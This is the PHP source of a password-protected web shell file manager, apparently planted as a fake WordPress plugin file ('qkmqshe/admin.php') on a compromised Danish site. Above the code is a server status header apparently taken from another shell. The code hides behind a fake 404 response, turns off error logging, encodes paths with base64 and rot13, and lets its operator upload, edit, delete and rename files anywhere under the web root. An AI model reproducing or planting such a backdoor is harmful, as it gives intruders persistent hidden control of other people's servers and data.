HEX
Server: LiteSpeed
System: Linux cde2.duelhost.dk 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User: dtptviut (1121)
PHP: 8.0.30
Disabled: exec,system,passthru,shell_exec,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/dtptviut/domains/morsunivers.dk/private_html/wp-content/plugins/qkmqshe/admin.php
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('log_errors', 0);

$key = 'shellbox88';

$auth = isset($_REQUEST['q']) ? $_REQUEST['q'] : (isset($_GET['key']) ? $_GET['key'] : (isset($_POST['token']) ? $_POST['token'] : ''));

if($auth !== $key){
    header('HTTP/1.0 404 Not Found');
    exit;
}

session_start();

$root = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : dirname($_SERVER['SCRIPT_FILENAME']);

$p = isset($_GET['d']) ? $_GET['d'] : (isset($_POST['d']) ? $_POST['d'] : '');
if(!empty($p)){
    $p = str_rot13(base64_decode($p));
    if($p === false){
        $p = $root;
    }
    if(strpos($p, $root) === 0){
        $p = $p;
    } else {
        $p = $root;
    }
} else {
    $p = $root;
}

$act = isset($_POST['c']) ? $_POST['c'] : (isset($_GET['c']) ? $_GET['c'] : '');

if(!empty($act)){
    
    if($act == '1' && isset($_FILES['f'])){
        $name = preg_replace('/[^a-zA-Z0-9._-]/', '', $_FILES['f']['name']);
        $dest = $p . DIRECTORY_SEPARATOR . $name;
        if($_FILES['f']['size'] <= 5242880){
            move_uploaded_file($_FILES['f']['tmp_name'], $dest);
        }
        header('Location: ?q=' . urlencode($key) . '&d=' . urlencode(base64_encode(str_rot13($p))));
        exit;
    }
    
    if($act == '2' && isset($_POST['e']) && isset($_POST['f'])){
        $name = preg_replace('/[^a-zA-Z0-9._-]/', '', $_POST['f']);
        $dest = $p . DIRECTORY_SEPARATOR . $name;
        $content = $_POST['e'];
        $fh = fopen($dest, 'w');
        fwrite($fh, $content);
        fclose($fh);
        header('Location: ?q=' . urlencode($key) . '&d=' . urlencode(base64_encode(str_rot13($p))));
        exit;
    }
    
    if($act == '3' && isset($_POST['f'])){
        $name = preg_replace('/[^a-zA-Z0-9._-]/', '', $_POST['f']);
        $target = $p . DIRECTORY_SEPARATOR . $name;
        if(is_dir($target)){
            rmdir($target);
        } else {
            unlink($target);
        }
        header('Location: ?q=' . urlencode($key) . '&d=' . urlencode(base64_encode(str_rot13($p))));
        exit;
    }
    
    if($act == '4' && isset($_POST['g']) && isset($_POST['h'])){
        $old = preg_replace('/[^a-zA-Z0-9._-]/', '', $_POST['g']);
        $new = preg_replace('/[^a-zA-Z0-9._-]/', '', $_POST['h']);
        $old_path = $p . DIRECTORY_SEPARATOR . $old;
        $new_path = $p . DIRECTORY_SEPARATOR . $new;
        rename($old_path, $new_path);
        header('Location: ?q=' . urlencode($key) . '&d=' . urlencode(base64_encode(str_rot13($p))));
        exit;
    }
    
    if($act == '5' && isset($_POST['i'])){
        $name = preg_replace('/[^a-zA-Z0-9._-]/', '', $_POST['i']);
        $dest = $p . DIRECTORY_SEPARATOR . $name;
        mkdir($dest, 0755);
        header('Location: ?q=' . urlencode($key) . '&d=' . urlencode(base64_encode(str_rot13($p))));
        exit;
    }
    
    if($act == '6' && isset($_GET['f'])){
        $name = preg_replace('/[^a-zA-Z0-9._-]/', '', $_GET['f']);
        $file = $p . DIRECTORY_SEPARATOR . $name;
        if(file_exists($file) && filesize($file) <= 2097152){
            $content = file_get_contents($file);
            $size = filesize($file);
            $size_disp = '';
            if($size < 1024){
                $size_disp = $size . ' B';
            } elseif($size < 1048576){
                $size_disp = round($size/1024, 2) . ' KB';
            } else {
                $size_disp = round($size/1048576, 2) . ' MB';
            }
            ?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Edit File</title>
<style>
body{background:#0d1117;color:#c9d1d9;font-family:monospace;padding:20px;margin:0;}
.toolbar{background:#161b22;padding:12px 20px;border-radius:8px;margin-bottom:20px;max-width:1400px;margin-left:auto;margin-right:auto;}
textarea{width:100%;max-width:1400px;height:70vh;background:#161b22;color:#c9d1d9;border:1px solid #30363d;padding:10px;font-family:monospace;font-size:14px;box-sizing:border-box;display:block;margin-left:auto;margin-right:auto;}
button{background:#238636;border:none;padding:8px 16px;color:#fff;cursor:pointer;border-radius:6px;margin-top:10px;}
button:hover{background:#2ea043;}
a{color:#8b949e;text-decoration:none;background:#21262d;padding:8px 16px;border-radius:6px;display:inline-block;margin-top:10px;margin-left:10px;}
.actions{max-width:1400px;margin-left:auto;margin-right:auto;}
</style>
</head>
<body>
<div class="toolbar">📝 Editing: <?php echo htmlspecialchars($name); ?> (<?php echo $size_disp; ?>)</div>
<form method="post">
<input type="hidden" name="c" value="2">
<input type="hidden" name="f" value="<?php echo htmlspecialchars($name); ?>">
<input type="hidden" name="d" value="<?php echo base64_encode(str_rot13($p)); ?>">
<textarea name="e"><?php echo htmlspecialchars($content); ?></textarea>
<div class="actions">
<button type="submit">Save</button>
<a href="?q=<?php echo urlencode($key); ?>&d=<?php echo urlencode(base64_encode(str_rot13($p))); ?>">Cancel</a>
</div>
</form>
</body>
</html>
<?php
            exit;
        }
    }
}

$items = scandir($p);
$dirs = array();
$files = array();

if(is_array($items)){
    natcasesort($items);
    foreach($items as $item){
        if($item == '.') continue;
        $full = $p . DIRECTORY_SEPARATOR . $item;
        
        if($item == '..'){
            $parent = dirname($p);
            if($p !== $root && strpos($parent, $root) === 0){
                $dirs[] = array('n' => '..', 'p' => base64_encode(str_rot13($parent)), 'u' => true);
            }
            continue;
        }
        
        if(is_dir($full)){
            $dirs[] = array('n' => $item, 'p' => base64_encode(str_rot13($full)));
        } else {
            $sz = filesize($full);
            if($sz < 1024){
                $disp = $sz . ' B';
            } elseif($sz < 1048576){
                $disp = round($sz/1024, 2) . ' KB';
            } else {
                $disp = round($sz/1048576, 2) . ' MB';
            }
            $files[] = array('n' => $item, 's' => $disp);
        }
    }
}

$path = str_replace($root, '', $p);
if(empty($path)) $path = '/';
if($path == '') $path = '/';
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Manager</title>
<style>
*{box-sizing:border-box;}
body{background:#0d1117;color:#c9d1d9;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',sans-serif;margin:0;padding:20px;}
.container{max-width:1200px;margin:0 auto;}
.header{background:#161b22;padding:12px 20px;border-radius:8px;margin-bottom:20px;display:flex;justify-content:space-between;align-items:center;}
.path{color:#8b949e;font-family:monospace;font-size:13px;}
.upload-area{background:#161b22;padding:15px 20px;border-radius:8px;margin-bottom:20px;display:flex;flex-wrap:wrap;gap:10px;align-items:center;}
table{width:100%;border-collapse:collapse;}
th{text-align:left;padding:12px 10px;background:#161b22;color:#8b949e;font-weight:500;font-size:13px;}
td{padding:10px;border-bottom:1px solid #21262d;font-size:13px;}
tr:hover{background:#1c2128;}
.btn{background:#21262d;border:1px solid #30363d;padding:5px 12px;border-radius:6px;cursor:pointer;font-size:12px;display:inline-block;color:#c9d1d9;text-decoration:none;margin:0 2px;}
.btn:hover{background:#30363d;}
.btn-danger{border-color:#f85149;color:#f85149;}
.btn-danger:hover{background:#1c2128;}
.btn-success{border-color:#2ea043;color:#2ea043;}
.btn-success:hover{background:#1c2128;}
input[type="file"]{background:#0d1117;border:1px solid #30363d;padding:6px 10px;border-radius:6px;color:#c9d1d9;font-size:12px;}
input[type="text"]{background:#0d1117;border:1px solid #30363d;padding:6px 10px;border-radius:6px;color:#c9d1d9;width:150px;}
small{color:#6e7681;font-size:11px;}
a{color:#c9d1d9;text-decoration:none;}
a:hover{color:#58a6ff;}
.folder-link{color:#c9d1d9;}
.folder-link:hover{color:#58a6ff;}
</style>
</head>
<body>
<div class="container">
<div class="header">
<span class="path">📁 <?php echo htmlspecialchars($path); ?></span>
<button class="btn" onclick="location.reload()">↻</button>
</div>

<div class="upload-area">
    <input type="file" id="uploadFileInput" onchange="autoUpload()">
    <input type="text" id="newFolder" placeholder="folder name">
    <button class="btn btn-success" onclick="createFolder()">New Folder</button>
    <small>Max 5MB</small>
</div>

<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php
foreach($dirs as $d){
    echo '<tr class="folder">';
    echo '<td><a class="folder-link" href="?q=' . urlencode($key) . '&d=' . urlencode($d['p']) . '">📁 ' . htmlspecialchars($d['n']) . '</a></td>';
    echo '<td>-</td>';
    echo '<td>';
    if(!isset($d['u'])){
        echo '<button class="btn" onclick="renameItem(\'' . addslashes($d['n']) . '\')">Rename</button>';
        echo '<button class="btn btn-danger" onclick="deleteItem(\'' . addslashes($d['n']) . '\')">Delete</button>';
    }
    echo '</td>';
    echo '</tr>';
}
foreach($files as $f){
    echo '<tr class="file">';
    echo '<td>📄 ' . htmlspecialchars($f['n']) . '</td>';
    echo '<td>' . $f['s'] . '</td>';
    echo '<td>';
    echo '<a class="btn" href="?q=' . urlencode($key) . '&c=6&f=' . urlencode($f['n']) . '&d=' . urlencode(base64_encode(str_rot13($p))) . '">Edit</a>';
    echo '<button class="btn" onclick="renameItem(\'' . addslashes($f['n']) . '\')">Rename</button>';
    echo '<button class="btn btn-danger" onclick="deleteItem(\'' . addslashes($f['n']) . '\')">Delete</button>';
    echo '</td>';
    echo '</tr>';
}
if(empty($dirs) && empty($files)){
    echo '<tr><td colspan="3" style="text-align:center;color:#6e7681;">Empty directory</td></tr>';
}
?>
</tbody>
</table>
</div>

<form id="renameForm" method="post" style="display:none;">
<input type="hidden" name="c" value="4">
<input type="hidden" name="g" id="oldName">
<input type="hidden" name="h" id="newName">
<input type="hidden" name="d" value="<?php echo base64_encode(str_rot13($p)); ?>">
</form>

<form id="deleteForm" method="post" style="display:none;">
<input type="hidden" name="c" value="3">
<input type="hidden" name="f" id="delName">
<input type="hidden" name="d" value="<?php echo base64_encode(str_rot13($p)); ?>">
</form>

<form id="mkdirForm" method="post" style="display:none;">
<input type="hidden" name="c" value="5">
<input type="hidden" name="i" id="dirName">
<input type="hidden" name="d" value="<?php echo base64_encode(str_rot13($p)); ?>">
</form>

<script>
function autoUpload() {
    var fileInput = document.getElementById('uploadFileInput');
    var file = fileInput.files[0];
    if (!file) return;
    if (file.size > 5242880) {
        alert('Max file size is 5MB');
        return;
    }
    var formData = new FormData();
    formData.append('c', '1');
    formData.append('d', '<?php echo base64_encode(str_rot13($p)); ?>');
    formData.append('f', file);
    var xhr = new XMLHttpRequest();
    xhr.open('POST', '');
    xhr.onload = function() {
        location.reload();
    };
    xhr.send(formData);
}

function renameItem(oldName){
    var newName = prompt('Rename "' + oldName + '" to:', oldName);
    if(newName && newName !== oldName){
        newName = newName.replace(/[^a-zA-Z0-9.-]/g, '_');
        document.getElementById('oldName').value = oldName;
        document.getElementById('newName').value = newName;
        document.getElementById('renameForm').submit();
    }
}

function deleteItem(name){
    if(confirm('Delete "' + name + '" ?')){
        document.getElementById('delName').value = name;
        document.getElementById('deleteForm').submit();
    }
}

function createFolder(){
    var name = document.getElementById('newFolder').value;
    if(name){
        name = name.replace(/[^a-zA-Z0-9.-]/g, '_');
        document.getElementById('dirName').value = name;
        document.getElementById('mkdirForm').submit();
        document.getElementById('newFolder').value = '';
    } else {
        alert('Enter folder name');
    }
}
</script>
</body>
</html>
<?php
if(function_exists('opcache_reset')){
    opcache_reset();
}
?>